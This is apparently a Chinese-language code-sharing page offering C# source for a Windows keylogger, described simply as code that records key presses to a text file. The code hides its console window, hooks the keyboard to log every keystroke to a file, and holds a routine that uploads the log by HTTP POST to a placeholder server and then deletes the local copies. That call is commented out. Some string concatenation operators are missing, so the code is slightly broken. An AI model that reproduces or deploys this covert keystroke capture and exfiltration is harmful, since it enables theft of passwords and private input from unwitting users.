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   源码介绍

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C# 程序代码 基础，记录按键按下，并以TXT文件储存

using System;
using System.Windows.Forms;
using System.Windows;
using System.Text;
using System.Linq;

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
using Microsoft.Win32;
using System.Net;
using System.Threading;
using System.Reflection;

namespace ConsoleApplication1
{
    class Program
    {
        readonly public static string logPath = "E:\\log.txt";

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        #region
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private const int SW_HIDE = 0;
        #endregion

        public static void Main()
        {
            var handle = GetConsoleWindow();

            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);

            Application.Run();

            UnhookWindowsHookEx(_hookID);
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(logPath, true);
                sw.WriteLine((Keys)vkCode);
                sw.Close();
            }

            Process[] proc = Process.GetProcessesByName("chrome");
            if (proc.Length == 0)
            {
                //UploadLog();

                Environment.Exit(0);
            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }


        private static void UploadLog()
        {
            Random random = new Random();
            int rnd = random.Next();
            string target = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)   "\\"   rnd   ".txt";

            if (File.Exists(logPath))
            {
                File.Copy(logPath, target);
                try
                {
                    System.Net.WebClient Client = new System.Net.WebClient();
                    Client.Headers.Add("Content-Type", "binary/octet-stream");
                    Client.UploadFile("http://yourdomainname.com/upload.php", "POST", target);
                    File.Delete(logPath);
                    File.Delete(target);
                }
                catch
                {
                    File.Delete(logPath);
                    File.Delete(target);
                }
            }
        }

        #region 
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        #endregion
    }
}